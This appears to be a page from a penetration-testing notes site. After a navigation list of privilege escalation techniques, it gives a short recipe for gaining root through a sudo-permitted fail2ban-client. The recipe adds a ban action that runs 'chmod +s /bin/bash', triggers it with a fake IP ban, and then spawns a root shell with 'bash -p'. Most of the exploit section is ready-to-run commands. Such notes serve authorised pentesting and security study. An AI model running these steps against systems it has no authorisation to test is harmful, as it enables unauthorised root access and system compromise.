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Chrome Remote Debugger Pentesting

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FireFox Credentials Dumping

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

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Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

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Sudo Fail2ban Privilege Escalation

Sudo Fail2ban-Client Privilege Escalation

Sudo Git Privilege Escalation

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Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Sudo Fail2ban-Client Privilege Escalation

Last modified: 2025-03-12

Sudo fail2ban-client command might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

# Output:
(ALL) NOPASSWD: /usr/bin/fail2ban-client

If we can execute fail2ban-client command as root, we may be able to escalate privilege and gain a root shell.

Exploit

# Get jail list
sudo /usr/bin/fail2ban-client status
# Choose one of the jails from the "Jail list" in the output.
sudo /usr/bin/fail2ban-client get <JAIL> actions
# Create a new action with arbitrary name (e.g. "evil")
sudo /usr/bin/fail2ban-client set <JAIL> addaction evil
# Set payload to actionban
sudo /usr/bin/fail2ban-client set <JAIL> action evil actionban "chmod +s /bin/bash"
# Trigger the action
sudo /usr/bin/fail2ban-client set <JAIL> banip 1.2.3.5
# Now we gain a root
/bin/bash -p

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Sudo Fail2ban-Client Privilege Escalation

Investigation

Exploit

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